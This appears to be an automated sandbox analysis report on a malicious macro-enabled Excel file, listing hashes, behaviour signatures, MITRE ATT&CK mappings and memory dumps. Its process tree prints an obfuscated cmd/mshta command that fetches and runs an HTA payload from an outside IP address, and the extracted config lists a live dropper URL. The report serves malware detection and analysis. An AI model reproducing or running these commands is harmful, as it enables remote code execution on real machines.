c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15

General

Target

c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15.xlsm
Size

110KB
MD5

a1f20adb77868064a50bf9bc57f083e8
SHA1

f016542608ddadb035c27ea0e8384dee30c72f51
SHA256

c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15
SHA512

8be3e16a5ed738328db940de7dce129cf7dbdfbefb3b1baa2d15d1c971fd9613bc5047aaea5bd13f6f74b9dff2f6b89c4c033e9a5d934781b9673bd6ff3b9180

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://46.105.81.76/c.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	860	4016	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3940	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4016	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE
4016	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 860	4016	EXCEL.EXE	72
PID 4016 wrote to memory of 860	4016	EXCEL.EXE	72
PID 860 wrote to memory of 3940	860	cmd.exe	74
PID 860 wrote to memory of 3940	860	cmd.exe	74

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\system32\mshta.exe
    mshta http://0056.0151.0121.0114/c.html
    3⤵
    - Blocklisted process makes network request
    PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4016-118-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-119-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-120-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-121-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-122-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-123-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-124-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-125-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-128-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-129-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download
memory/4016-130-0x00007FFD5EAF0000-0x00007FFD5EB9E000-memory.dmp

Filesize
696KB

Download
memory/4016-289-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-290-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-291-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-292-0x00007FFD20BE0000-0x00007FFD20BF0000-memory.dmp

Filesize
64KB

Download
memory/4016-293-0x00007FFD5EAF0000-0x00007FFD5EB9E000-memory.dmp

Filesize
696KB

Download
memory/4016-294-0x00007FFD60B50000-0x00007FFD60D2B000-memory.dmp

Filesize
1.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads